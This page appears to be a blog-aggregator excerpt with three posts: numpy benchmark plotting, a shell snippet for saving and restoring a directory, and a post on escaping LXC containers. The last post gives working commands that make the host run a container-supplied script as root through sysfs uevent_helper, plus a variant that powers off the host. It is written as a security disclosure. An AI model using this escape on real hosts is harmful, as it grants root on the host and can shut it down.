np.argmax() returns the index of the first maximum value. The trick here is that when I write ava['average_response_time_per_page_msec'] > 100, I get an array with 1 when the value is more than 100 and 0 otherwise. Therefore, np.argmax() will return the first index where the value is superior to 100 ms. The highlight() function will add a point (plot([x], [y], 'ko')) on the smoothed successful transactions par second plot and add an annotation with some fancy arrow. Look at this benchmark of nginx as SSL termination for a complete output of this script.

Chris Lamb: Optimising directory navigation with multiple terminals

This simple shell snippet has saved me countless keystrokes and mental context switches. It works on the assumption that most tasks are based in or around a single directory such as a Git working tree.
s() pwd > ~/.saved_dir i() cd "$(cat ~/.saved_dir)"
I typically use it like this:
$ cd /srv/long/path/that/is/tricky/to/autocomplete $ ls one two three $ s
(Switch to another terminal tab or GNU Screen window, etc.)
$ pwd /home/lamby $ i $ pwd /srv/long/path/that/is/tricky/to/autocomplete $ ls one two three
This saves me having to navigate or even think about navigating to the deeply nested directory.

Marco d'Itri: Evading from linux containers

For the past few years, the Linux Containers project has been developing some kernel technologies which provide isolation, accounting and management for kernel resources. When completed, together they will allow implementing lightweight virtualization of the operating system like is currently possible with OpenVZ. It is very important to understand that not all the pieces are ready yet, so currently a LXC container does not provide the same security of other virtualization technologies. This example shows how the root user of a container can easily run code as root in the host system, since sysfs does not support namespaces:
lxc$ cat <<END > /tmp/evil-helper #!/bin/sh echo 'hi!' >> /tmp/evil-helper.log END lxc$ chmod +x /tmp/evil-helper lxc# mkdir /sys lxc# mount -t sysfs sysfs /sys lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper > /sys/kernel/uevent_helper lxc# echo change > /sys/class/mem/null/uevent
The last command will trigger a uevent, which will be processed by running in the host our script created inside the container. Or else:
inside# echo /sbin/poweroff > /sys/kernel/uevent_helper
Because of this, LXC containers are vulnerable to a malicious root user and are not really a replacement for OpenVZ. This will change when support for labelling files with user namespaces will be completed.

Next.

Previous.